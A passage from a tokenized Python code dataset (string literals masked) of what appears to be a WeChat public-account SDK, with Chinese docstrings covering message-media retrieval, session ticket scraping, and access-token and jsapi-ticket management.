\"total\": 0,\n                    \"succ\": 0,\n                    \"fail\": 0\n                }\n            }\n        ]\n    }\n\n:param lastid: \u4f20\u5165\u6700\u540e\u7684\u6d88\u606f id \u7f16\u53f7, \u4e3a 0 \u5219\u4ece\u6700\u65b0\u4e00\u6761\u8d77\u5012\u5e8f\u83b7\u53d6\n:param offset: lastid \u8d77\u7b97\u7b2c\u4e00\u6761\u7684\u504f\u79fb\u91cf\n:param count: \u83b7\u53d6\u6570\u76ee\n:param day: \u6700\u8fd1\u51e0\u5929\u6d88\u606f (0: \u4eca\u5929, 1: \u6628\u5929, 2: \u524d\u5929, 3: \u66f4\u65e9, 7: \u5168\u90e8), \u8fd9\u91cc\u7684\u5168\u90e8\u4ec5\u67095\u5929\n:param star: \u662f\u5426\u53ea\u83b7\u53d6\u661f\u6807\u6d88\u606f\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m23"}
{"signature": "def get_message_image(self, msgid, mode='<STR_LIT>'):", "body": "if mode != '<STR_LIT>' and mode != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>url = '<STR_LIT>'.format(<EOL>msgid=msgid,<EOL>token=self.__token,<EOL>mode=mode,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers, stream=True)<EOL>if r.headers.get('<STR_LIT>', None) == '<STR_LIT>':<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>if not r.raw.data:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return r.raw.data<EOL>", "docstring": "\u6839\u636e\u6d88\u606f ID \u83b7\u53d6\u56fe\u7247\u6d88\u606f\u5185\u5bb9\n:param msgid: \u6d88\u606f ID\n:param mode: \u56fe\u7247\u5c3a\u5bf8 ('large'\u6216'small')\n:return: \u4e8c\u8fdb\u5236 JPG \u56fe\u7247\u5b57\u7b26\u4e32, \u53ef\u76f4\u63a5\u4f5c\u4e3a File Object \u4e2d write \u7684\u53c2\u6570\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef, \u9519\u8bef\u5185\u5bb9: ``image message not exist``: msg\u53c2\u6570\u65e0\u6548, ``mode error``: mode\u53c2\u6570\u65e0\u6548", "id": "f584:c0:m24"}
{"signature": "def get_message_voice(self, msgid):", "body": "url = '<STR_LIT>'.format(<EOL>msgid=msgid,<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers, stream=True)<EOL>if r.headers.get('<STR_LIT>', None) == '<STR_LIT>':<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>if not r.raw.data:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return r.raw.data<EOL>", "docstring": "\u6839\u636e\u6d88\u606f ID \u83b7\u53d6\u8bed\u97f3\u6d88\u606f\u5185\u5bb9\n:param msgid: \u6d88\u606f ID\n:return: \u4e8c\u8fdb\u5236 MP3 \u97f3\u9891\u5b57\u7b26\u4e32, \u53ef\u76f4\u63a5\u4f5c\u4e3a File Object \u4e2d write \u7684\u53c2\u6570\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef, \u9519\u8bef\u5185\u5bb9: ``voice message not exist``: msg\u53c2\u6570\u65e0\u6548", "id": "f584:c0:m25"}
{"signature": "def get_message_video(self, msgid):", "body": "url = '<STR_LIT>'.format(<EOL>msgid=msgid,<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers, stream=True)<EOL>if r.headers.get('<STR_LIT>', None) == '<STR_LIT>':<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>if not r.raw.data:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return r.raw.data<EOL>", "docstring": "\u6839\u636e\u6d88\u606f ID \u83b7\u53d6\u89c6\u9891\u6d88\u606f\u5185\u5bb9\n:param msgid: \u6d88\u606f ID\n:return: \u4e8c\u8fdb\u5236 MP4 \u89c6\u9891\u5b57\u7b26\u4e32, \u53ef\u76f4\u63a5\u4f5c\u4e3a File Object \u4e2d write \u7684\u53c2\u6570\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef, \u9519\u8bef\u5185\u5bb9: ``video message not exist``: msg\u53c2\u6570\u65e0\u6548", "id": "f584:c0:m26"}
{"signature": "def _init_fakeid(self):", "body": "if not self.__fakeid:<EOL><INDENT>self._init_self_information()<EOL><DEDENT>", "docstring": "\u521d\u59cb\u5316\u516c\u4f17\u53f7\u81ea\u8eab\u7684 ``fakeid`` \u503c\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m27"}
{"signature": "def _init_ticket(self):", "body": "if not self.__ticket:<EOL><INDENT>self._init_self_information()<EOL><DEDENT>", "docstring": "\u521d\u59cb\u5316\u516c\u4f17\u53f7\u81ea\u8eab\u7684 ``ticket`` \u53ca ``ticket_id`` \u503c\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m28"}
{"signature": "def _init_self_information(self):", "body": "url = '<STR_LIT>'.format(token=self.__token)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>ticket_id = re.search(r'<STR_LIT>', r.text)<EOL>if not ticket_id:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>self.__ticket_id = ticket_id.group(<NUM_LIT:1>)<EOL>ticket = re.search(r'<STR_LIT>', r.text)<EOL>if not ticket:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>self.__ticket = ticket.group(<NUM_LIT:1>)<EOL>fakeid = re.search(r'<STR_LIT>', r.text)<EOL>if not fakeid:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>self.__fakeid = fakeid.group(<NUM_LIT:1>)<EOL>", "docstring": "\u521d\u59cb\u5316\u516c\u4f17\u53f7\u81ea\u8eab\u7684\u5c5e\u6027\u503c (\u76ee\u524d\u5305\u62ec ``Ticket`` \u503c \u53ca \u516c\u4f17\u53f7\u81ea\u8eab\u7684 ``fakeid`` \u503c)\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m29"}
{"signature": "def _init_appid(self):", "body": "if not self.__appid:<EOL><INDENT>self._init_plugin_token_appid()<EOL><DEDENT>", "docstring": "\u521d\u59cb\u5316\u516c\u4f17\u53f7\u81ea\u8eab\u7684 ``appid`` \u503c\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m30"}
{"signature": "def _init_plugin_token(self):", "body": "if not self.__plugin_token:<EOL><INDENT>self._init_plugin_token_appid()<EOL><DEDENT>", "docstring": "\u521d\u59cb\u5316\u516c\u4f17\u53f7\u81ea\u8eab\u7684 ``PluginToken`` \u503c\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m31"}
{"signature": "def _init_plugin_token_appid(self):", "body": "if not self.__plugin_token or not self.__appid:<EOL><INDENT>url = '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>plugin_token = re.search(r\"<STR_LIT>\", r.text)<EOL>if not plugin_token:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>self.__plugin_token = plugin_token.group(<NUM_LIT:1>)<EOL>appid = re.search(r\"<STR_LIT>\", r.text)<EOL>if not appid:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>self.__appid = appid.group(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "\u521d\u59cb\u5316\u516c\u4f17\u53f7\u7684 ``PluginToken`` \u503c\u53ca\u516c\u4f17\u53f7\u81ea\u8eab\u7684 ``appid`` \u503c\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m32"}
{"signature": "@classmethod<EOL><INDENT>def _transcoding(cls, data):<DEDENT>", "body": "if not data:<EOL><INDENT>return data<EOL><DEDENT>result = None<EOL>if isinstance(data, str) and hasattr(data, '<STR_LIT>'):<EOL><INDENT>result = data.decode('<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>result = data<EOL><DEDENT>return result<EOL>", "docstring": "\u7f16\u7801\u8f6c\u6362\n        :param data: \u9700\u8981\u8f6c\u6362\u7684\u6570\u636e\n        :return: \u8f6c\u6362\u597d\u7684\u6570\u636e", "id": "f585:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def _transcoding_list(cls, data):<DEDENT>", "body": "if not isinstance(data, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>result = []<EOL>for item in data:<EOL><INDENT>if isinstance(item, dict):<EOL><INDENT>result.append(cls._transcoding_dict(item))<EOL><DEDENT>elif isinstance(item, list):<EOL><INDENT>result.append(cls._transcoding_list(item))<EOL><DEDENT>else:<EOL><INDENT>result.append(item)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "\u7f16\u7801\u8f6c\u6362 for list\n        :param data: \u9700\u8981\u8f6c\u6362\u7684 list \u6570\u636e\n        :return: \u8f6c\u6362\u597d\u7684 list", "id": "f585:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def _transcoding_dict(cls, data):<DEDENT>", "body": "if not isinstance(data, dict):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>result = {}<EOL>for k, v in data.items():<EOL><INDENT>k = cls._transcoding(k)<EOL>if isinstance(v, dict):<EOL><INDENT>v = cls._transcoding_dict(v)<EOL><DEDENT>elif isinstance(v, list):<EOL><INDENT>v = cls._transcoding_list(v)<EOL><DEDENT>else:<EOL><INDENT>v = cls._transcoding(v)<EOL><DEDENT>result.update({k: v})<EOL><DEDENT>return result<EOL>", "docstring": "\u7f16\u7801\u8f6c\u6362 for dict\n:param data: \u9700\u8981\u8f6c\u6362\u7684 dict \u6570\u636e\n:return: \u8f6c\u6362\u597d\u7684 dict", "id": "f585:c0:m2"}
{"signature": "def __init__(self, **kwargs):", "body": "self.__request = WechatRequest()<EOL>if kwargs.get('<STR_LIT>') is not True:<EOL><INDENT>disable_urllib3_warning()  <EOL><DEDENT>self.__token = kwargs.get('<STR_LIT>')<EOL>self.__appid = kwargs.get('<STR_LIT>')<EOL>self.__appsecret = kwargs.get('<STR_LIT>')<EOL>self.__encrypt_mode = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>self.__encoding_aes_key = kwargs.get('<STR_LIT>')<EOL>self.__crypto = None<EOL>self._update_crypto()<EOL>self.__access_token_getfunc = kwargs.get('<STR_LIT>')<EOL>self.__access_token_setfunc = kwargs.get('<STR_LIT>')<EOL>self.__access_token_refreshfunc = kwargs.get('<STR_LIT>')<EOL>self.__access_token = kwargs.get('<STR_LIT>')<EOL>self.__access_token_expires_at = kwargs.get('<STR_LIT>')<EOL>self.__jsapi_ticket_getfunc = kwargs.get('<STR_LIT>')<EOL>self.__jsapi_ticket_setfunc = kwargs.get('<STR_LIT>')<EOL>self.__jsapi_ticket_refreshfunc = kwargs.get('<STR_LIT>')<EOL>self.__jsapi_ticket = kwargs.get('<STR_LIT>')<EOL>self.__jsapi_ticket_expires_at = kwargs.get('<STR_LIT>')<EOL>self.__partnerid = kwargs.get('<STR_LIT>')<EOL>self.__partnerkey = kwargs.get('<STR_LIT>')<EOL>self.__paysignkey = kwargs.get('<STR_LIT>')<EOL>", "docstring": ":param kwargs: \u914d\u7f6e\u4fe1\u606f\u5b57\u5178, \u53ef\u7528\u5b57\u5178 key \u503c\u53ca\u5bf9\u5e94\u89e3\u91ca\u5982\u4e0b:\n               'token': \u5fae\u4fe1 Token\n\n               'appid': App ID\n               'appsecret': App Secret\n\n               'encrypt_mode': \u52a0\u89e3\u5bc6\u6a21\u5f0f ('normal': \u660e\u6587\u6a21\u5f0f, 'compatible': \u517c\u5bb9\u6a21\u5f0f, 'safe': \u5b89\u5168\u6a21\u5f0f(\u9ed8\u8ba4))\n               'encoding_aes_key': EncodingAESKey \u503c (\u4f20\u5165\u6b64\u503c\u5fc5\u987b\u4fdd\u8bc1\u540c\u65f6\u4f20\u5165 token, appid, \u5426\u5219\u629b\u51fa\u5f02\u5e38)\n\n               'access_token_getfunc': access token \u83b7\u53d6\u51fd\u6570 (\u7528\u4e8e\u5355\u673a\u53ca\u5206\u5e03\u5f0f\u73af\u5883\u4e0b, \u5177\u4f53\u683c\u5f0f\u53c2\u89c1\u6587\u6863)\n               'access_token_setfunc': access token \u5199\u5165\u51fd\u6570 (\u7528\u4e8e\u5355\u673a\u53ca\u5206\u5e03\u5f0f\u73af\u5883\u4e0b, \u5177\u4f53\u683c\u5f0f\u53c2\u89c1\u6587\u6863)\n               'access_token_refreshfunc': access token \u5237\u65b0\u51fd\u6570 (\u7528\u4e8e\u5355\u673a\u53ca\u5206\u5e03\u5f0f\u73af\u5883\u4e0b, \u5177\u4f53\u683c\u5f0f\u53c2\u89c1\u6587\u6863)\n               'access_token': \u76f4\u63a5\u5bfc\u5165\u7684 access token \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\n                               \u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6 (\u4f20\u5165 access_token_getfunc \u548c access_token_setfunc \u51fd\u6570\n                               \u540e\u5c06\u4f1a\u81ea\u52a8\u5ffd\u7565\u6b64\u5904\u7684\u4f20\u5165\u503c)\n               'access_token_expires_at': \u76f4\u63a5\u5bfc\u5165\u7684 access token \u7684\u8fc7\u671f\u65e5\u671f, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\n                                          \u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6 (\u4f20\u5165 access_token_getfunc\n                                          \u548c access_token_setfunc \u51fd\u6570\u540e\u5c06\u4f1a\u81ea\u52a8\u5ffd\u7565\u6b64\u5904\u7684\u4f20\u5165\u503c)\n\n               'jsapi_ticket_getfunc': jsapi ticket \u83b7\u53d6\u51fd\u6570 (\u7528\u4e8e\u5355\u673a\u53ca\u5206\u5e03\u5f0f\u73af\u5883\u4e0b, \u5177\u4f53\u683c\u5f0f\u53c2\u89c1\u6587\u6863)\n               'jsapi_ticket_setfunc': jsapi ticket \u5199\u5165\u51fd\u6570 (\u7528\u4e8e\u5355\u673a\u53ca\u5206\u5e03\u5f0f\u73af\u5883\u4e0b, \u5177\u4f53\u683c\u5f0f\u53c2\u89c1\u6587\u6863)\n               'jsapi_ticket_refreshfunc': jsapi ticket \u5237\u65b0\u51fd\u6570 (\u7528\u4e8e\u5355\u673a\u53ca\u5206\u5e03\u5f0f\u73af\u5883\u4e0b, \u5177\u4f53\u683c\u5f0f\u53c2\u89c1\u6587\u6863)\n               'jsapi_ticket': \u76f4\u63a5\u5bfc\u5165\u7684 jsapi ticket \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\n                               \u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6 (\u4f20\u5165 jsapi_ticket_getfunc \u548c jsapi_ticket_setfunc \u51fd\u6570\n                               \u540e\u5c06\u4f1a\u81ea\u52a8\u5ffd\u7565\u6b64\u5904\u7684\u4f20\u5165\u503c)\n               'jsapi_ticket_expires_at': \u76f4\u63a5\u5bfc\u5165\u7684 jsapi ticket \u7684\u8fc7\u671f\u65e5\u671f, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\n                                          \u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6 (\u4f20\u5165 jsapi_ticket_getfunc\n                                          \u548c jsapi_ticket_setfunc \u51fd\u6570\u540e\u5c06\u4f1a\u81ea\u52a8\u5ffd\u7565\u6b64\u5904\u7684\u4f20\u5165\u503c)\n\n               'partnerid': \u8d22\u4ed8\u901a\u5546\u6237\u8eab\u4efd\u6807\u8bc6, \u652f\u4ed8\u6743\u9650\u4e13\u7528\n               'partnerkey': \u8d22\u4ed8\u901a\u5546\u6237\u6743\u9650\u5bc6\u94a5 Key, \u652f\u4ed8\u6743\u9650\u4e13\u7528\n               'paysignkey': \u5546\u6237\u7b7e\u540d\u5bc6\u94a5 Key, \u652f\u4ed8\u6743\u9650\u4e13\u7528\n\n               'checkssl': \u662f\u5426\u68c0\u67e5 SSL, \u9ed8\u8ba4\u4e0d\u68c0\u67e5 (False), \u53ef\u907f\u514d urllib3 \u7684 InsecurePlatformWarning \u8b66\u544a\n:return:", "id": "f587:c0:m0"}
{"signature": "@property<EOL><INDENT>def token(self):<DEDENT>", "body": "self._check_token()<EOL>return self.__token<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d Token", "id": "f587:c0:m1"}
{"signature": "@token.setter<EOL><INDENT>def token(self, token):<DEDENT>", "body": "self.__token = token<EOL>self._update_crypto()<EOL>", "docstring": "\u8bbe\u7f6e\u5f53\u524d Token", "id": "f587:c0:m2"}
{"signature": "@property<EOL><INDENT>def appid(self):<DEDENT>", "body": "return self.__appid<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d App ID", "id": "f587:c0:m3"}
{"signature": "@property<EOL><INDENT>def appsecret(self):<DEDENT>", "body": "return self.__appsecret<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d App Secret", "id": "f587:c0:m4"}
{"signature": "def set_appid_appsecret(self, appid, appsecret):", "body": "self.__appid = appid<EOL>self.__appsecret = appsecret<EOL>self._update_crypto()<EOL>", "docstring": "\u8bbe\u7f6e\u5f53\u524d App ID \u53ca App Secret", "id": "f587:c0:m5"}
{"signature": "@property<EOL><INDENT>def encoding_aes_key(self):<DEDENT>", "body": "return self.__encoding_aes_key<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d EncodingAESKey", "id": "f587:c0:m6"}
{"signature": "@encoding_aes_key.setter<EOL><INDENT>def encoding_aes_key(self, encoding_aes_key):<DEDENT>", "body": "self.__encoding_aes_key = encoding_aes_key<EOL>self._update_crypto()<EOL>", "docstring": "\u8bbe\u7f6e\u5f53\u524d EncodingAESKey", "id": "f587:c0:m7"}
{"signature": "@encrypt_mode.setter<EOL><INDENT>def encrypt_mode(self, encrypt_mode):<DEDENT>", "body": "self.__encrypt_mode = encrypt_mode<EOL>self._update_crypto()<EOL>", "docstring": "\u8bbe\u7f6e\u5f53\u524d\u52a0\u5bc6\u6a21\u5f0f", "id": "f587:c0:m9"}
{"signature": "@property<EOL><INDENT>def crypto(self):<DEDENT>", "body": "return self.__crypto<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d Crypto \u5b9e\u4f8b", "id": "f587:c0:m10"}
{"signature": "@property<EOL><INDENT>def access_token(self):<DEDENT>", "body": "self._check_appid_appsecret()<EOL>if callable(self.__access_token_getfunc):<EOL><INDENT>self.__access_token, self.__access_token_expires_at = self.__access_token_getfunc()<EOL><DEDENT>if self.__access_token:<EOL><INDENT>now = time.time()<EOL>if self.__access_token_expires_at - now > <NUM_LIT>:<EOL><INDENT>return self.__access_token<EOL><DEDENT><DEDENT>self.grant_access_token()  <EOL>return self.__access_token<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d access token \u503c, \u672c\u65b9\u6cd5\u4f1a\u81ea\u884c\u7ef4\u62a4 access token \u6709\u6548\u6027", "id": "f587:c0:m11"}
{"signature": "@property<EOL><INDENT>def jsapi_ticket(self):<DEDENT>", "body": "self._check_appid_appsecret()<EOL>if callable(self.__jsapi_ticket_getfunc):<EOL><INDENT>self.__jsapi_ticket, self.__jsapi_ticket_expires_at = self.__jsapi_ticket_getfunc()<EOL><DEDENT>if self.__jsapi_ticket:<EOL><INDENT>now = time.time()<EOL>if self.__jsapi_ticket_expires_at - now > <NUM_LIT>:<EOL><INDENT>return self.__jsapi_ticket<EOL><DEDENT><DEDENT>self.grant_jsapi_ticket()  <EOL>return self.__jsapi_ticket<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d jsapi ticket \u503c, \u672c\u65b9\u6cd5\u4f1a\u81ea\u884c\u7ef4\u62a4 jsapi ticket \u6709\u6548\u6027", "id": "f587:c0:m12"}
{"signature": "@property<EOL><INDENT>def partnerid(self):<DEDENT>", "body": "return self.__partnerid<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d\u8d22\u4ed8\u901a\u5546\u6237\u8eab\u4efd\u6807\u8bc6", "id": "f587:c0:m13"}
{"signature": "@property<EOL><INDENT>def partnerkey(self):<DEDENT>", "body": "return self.__partnerkey<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d\u8d22\u4ed8\u901a\u5546\u6237\u6743\u9650\u5bc6\u94a5 Key", "id": "f587:c0:m14"}
{"signature": "@property<EOL><INDENT>def paysignkey(self):<DEDENT>", "body": "return self.__paysignkey<EOL>", "docstring": "\u83b7\u53d6\u5546\u6237\u7b7e\u540d\u5bc6\u94a5 Key", "id": "f587:c0:m15"}
{"signature": "def grant_access_token(self):", "body": "self._check_appid_appsecret()<EOL>if callable(self.__access_token_refreshfunc):<EOL><INDENT>self.__access_token, self.__access_token_expires_at = self.__access_token_refreshfunc()<EOL>return<EOL><DEDENT>response_json = self.__request.get(<EOL>url=\"<STR_LIT>\",<EOL>params={<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": self.__appid,<EOL>\"<STR_LIT>\": self.__appsecret,<EOL>},<EOL>access_token=self.__access_token<EOL>)<EOL>self.__access_token = response_json['<STR_LIT>']<EOL>self.__access_token_expires_at = int(time.time()) + response_json['<STR_LIT>']<EOL>if callable(self.__access_token_setfunc):<EOL><INDENT>self.__access_token_setfunc(self.__access_token, self.__access_token_expires_at)<EOL><DEDENT>return response_json<EOL>", "docstring": "\u83b7\u53d6 access token \u5e76\u66f4\u65b0\u5f53\u524d\u914d\u7f6e\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305 (\u4f20\u5165 access_token_refreshfunc \u53c2\u6570\u540e\u8fd4\u56de None)", "id": "f587:c0:m16"}
{"signature": "def grant_jsapi_ticket(self):", "body": "self._check_appid_appsecret()<EOL>if callable(self.__jsapi_ticket_refreshfunc):<EOL><INDENT>self.__jsapi_ticket, self.__jsapi_ticket_expires_at = self.__jsapi_ticket_refreshfunc()<EOL>return<EOL><DEDENT>response_json = self.__request.get(<EOL>url=\"<STR_LIT>\",<EOL>params={<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>},<EOL>access_token=self.access_token,<EOL>)<EOL>self.__jsapi_ticket = response_json['<STR_LIT>']<EOL>self.__jsapi_ticket_expires_at = int(time.time()) + response_json['<STR_LIT>']<EOL>if callable(self.__jsapi_ticket_setfunc):<EOL><INDENT>self.__jsapi_ticket_setfunc(self.__jsapi_ticket, self.__jsapi_ticket_expires_at)<EOL><DEDENT>return response_json<EOL>", "docstring": "\u83b7\u53d6 jsapi ticket \u5e76\u66f4\u65b0\u5f53\u524d\u914d\u7f6e\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305 (\u4f20\u5165 jsapi_ticket_refreshfunc \u53c2\u6570\u540e\u8fd4\u56de None)", "id": "f587:c0:m17"}
{"signature": "def get_access_token(self):", "body": "self._check_appid_appsecret()<EOL>return {<EOL>'<STR_LIT>': self.access_token,<EOL>'<STR_LIT>': self.__access_token_expires_at,<EOL>}<EOL>", "docstring": "\u83b7\u53d6 Access Token \u53ca Access Token \u8fc7\u671f\u65e5\u671f, \u4ec5\u4f9b\u7f13\u5b58\u4f7f\u7528, \u5982\u679c\u5e0c\u671b\u5f97\u5230\u539f\u751f\u7684 Access Token \u8bf7\u6c42\u6570\u636e\u8bf7\u4f7f\u7528 :func:`grant_token`\n**\u4ec5\u4e3a\u517c\u5bb9 v0.6.0 \u4ee5\u524d\u7248\u672c\u4f7f\u7528, \u81ea\u884c\u7ef4\u62a4 access_token \u8bf7\u4f7f\u7528 access_token_setfunc \u548c access_token_getfunc \u8fdb\u884c\u64cd\u4f5c**\n:return: dict \u5bf9\u8c61, key \u5305\u62ec `access_token` \u53ca `access_token_expires_at`", "id": "f587:c0:m18"}
